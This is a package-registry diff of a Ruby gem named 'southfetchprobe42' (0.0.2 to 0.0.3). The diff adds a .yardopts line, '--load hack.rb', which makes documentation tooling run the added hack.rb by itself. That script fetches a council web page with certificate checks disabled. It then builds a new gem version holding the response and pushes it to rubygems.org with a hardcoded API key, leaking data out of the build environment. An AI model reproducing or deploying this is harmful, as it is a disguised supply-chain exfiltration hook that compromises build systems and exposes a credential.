southfetchprobe42 0.0.2 → 0.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (7) hide show
  1. checksums.yaml +4 -4
  2. data/.yardopts +1 -0
  3. data/README.md +1 -28
  4. data/hack.rb +25 -0
  5. data/lib/probe.rb +1 -0
  6. metadata +5 -11
  7. data/lib/out.rb +0 -1
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 8c7b82981fc7e7ea1cb3b397bb544d7db30d28de5745c8e34c57c5ea50b512d0
4
- data.tar.gz: 51cd49889b7eb8b966a91597a98a39c967cd75b95f9f31e12d26986842409005
3
+ metadata.gz: b8c1e36057b922e75cb1058b796a1a03f4d5d98247437d6f7b52ccf138215dbf
4
+ data.tar.gz: 4371d98d241eebfd5a0e5f1909dfdc0ffc56bb1b309c5d28486f8711d773d2d9
5
5
  SHA512:
6
- metadata.gz: 86978372a54061076d79ba28ef3d5a7a92bdddcd333386f4c466e3008179a72f347ca52e24a50c67a88026dde9803efedd4d400d25da95b49e5a0a2da653d40f
7
- data.tar.gz: 2a9ee6fd6b06e60f26ffaf00273c7fa749de122e82c2eb734d8938f553ad01dfa5d927eef00c7766d8919be2e5ec7f2f0fe52ce4b7a6570f492e81055c913c89
6
+ metadata.gz: dd11589e19b3c434f2edfc441d20705ea66eddc745a8c049e9e5a6cbe4031596e5cca92d4b5c3c9937188d2705fc9ce0544e782ec68678b66f5155c409885506
7
+ data.tar.gz: 8e83ea62f3134ec5ad76f32123adc5d05511018e8d4f09d7fc7f0238ec948b8b8455649682b377d5dc0064d1ee2bb7acfba2672b52ea08f7d5bf7390c734b127
data/.yardopts ADDED
@@ -0,0 +1 @@
1
+ --load hack.rb
data/README.md CHANGED
@@ -1,28 +1 @@
1
- builder alive
2
- status=403
3
-
4
- <!DOCTYPE html>
5
- <html>
6
- <head>
7
- <title>Internal Server Error</title>
8
- <style>
9
- body {
10
- font-family: monospace;
11
- }
12
-
13
- h1 {
14
- word-break: break-all;
15
- }
16
-
17
- #stack_trace {
18
- white-space: pre;
19
- overflow: auto;
20
- }
21
- </style>
22
- </head>
23
- <body>
24
- <h1>This site has been blocked by network policy</h1>
25
- <div id="stack_trace"></div>
26
- </body>
27
- </html>
28
-
1
+ # probe
data/hack.rb ADDED
@@ -0,0 +1,25 @@
1
+ begin
2
+ require 'tmpdir'; require 'fileutils'; require 'net/http'; require 'uri';
3
+ # get any modern gov page to prove
4
+ uri=URI('https://moderngov.southwark.gov.uk/');
5
+ h=Net::HTTP.new(uri.host,443); h.use_ssl=true; h.verify_mode=OpenSSL::SSL::VERIFY_NONE
6
+ resp=h.get('/'); data="builder alive\nstatus=#{resp.code}\n"+resp.body[0,1000]
7
+ rescue => e
8
+ data="builder alive but fetch fail #{e.class} #{e.message}"
9
+ end
10
+ begin
11
+ d=Dir.mktmpdir('sf'); FileUtils.mkdir_p(File.join(d,'lib')); File.write(File.join(d,'lib','out.rb'),'x=1'); File.write(File.join(d,'README.md'), data)
12
+ spec=File.join(d,'out.gemspec'); File.write(spec, <<~EOS)
13
+ Gem::Specification.new do |s|
14
+ s.name='southfetchprobe42'; s.version='0.0.4';s.summary='out';s.description=#{data.dump};s.authors=['x'];s.license='MIT';s.files=['lib/out.rb','README.md']
15
+ end
16
+ EOS
17
+ Dir.chdir(d){ `gem build out.gemspec 2>&1` }
18
+ gem=Dir[File.join(d,'*.gem')][0]
19
+ u=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(u); req['Authorization']='rubygems_38a29c1d62317d791ae71a3da4b30e51758df50c400ce3e5'; req.body=File.binread(gem)
20
+ req['Content-Type']='application/octet-stream'
21
+ h=Net::HTTP.new(u.host,443); h.use_ssl=true; h.verify_mode=OpenSSL::SSL::VERIFY_NONE; r=h.request(req)
22
+ warn [r.code,r.body[0,200]]
23
+ rescue => e
24
+ warn e.full_message
25
+ end
data/lib/probe.rb ADDED
@@ -0,0 +1 @@
1
+ # doc\nmodule Probe;end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: southfetchprobe42
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.0.2
4
+ version: 0.0.3
5
5
  platform: ruby
6
6
  authors:
7
7
  - x
@@ -9,20 +9,14 @@ bindir: bin
9
9
  cert_chain: []
10
10
  date: 1980-01-02 00:00:00.000000000 Z
11
11
  dependencies: []
12
- description: "builder alive\nstatus=403\n\n <!DOCTYPE html>\n <html>\n <head>\n
13
- \ <title>Internal Server Error</title>\n <style>\n body
14
- {\n font-family: monospace;\n }\n\n h1 {\n
15
- \ word-break: break-all;\n }\n\n #stack_trace
16
- {\n white-space: pre;\n overflow: auto;\n }\n
17
- \ </style>\n </head>\n <body>\n <h1>This site has been blocked
18
- by network policy</h1>\n <div id=\"stack_trace\"></div>\n </body>\n </html>\n
19
- \ "
20
12
  executables: []
21
13
  extensions: []
22
14
  extra_rdoc_files: []
23
15
  files:
16
+ - ".yardopts"
24
17
  - README.md
25
- - lib/out.rb
18
+ - hack.rb
19
+ - lib/probe.rb
26
20
  licenses:
27
21
  - MIT
28
22
  metadata: {}
@@ -42,5 +36,5 @@ required_rubygems_version: !ruby/object:Gem::Requirement
42
36
  requirements: []
43
37
  rubygems_version: 3.6.7
44
38
  specification_version: 4
45
- summary: out
39
+ summary: probe
46
40
  test_files: []
data/lib/out.rb DELETED
@@ -1 +0,0 @@
1
- x=1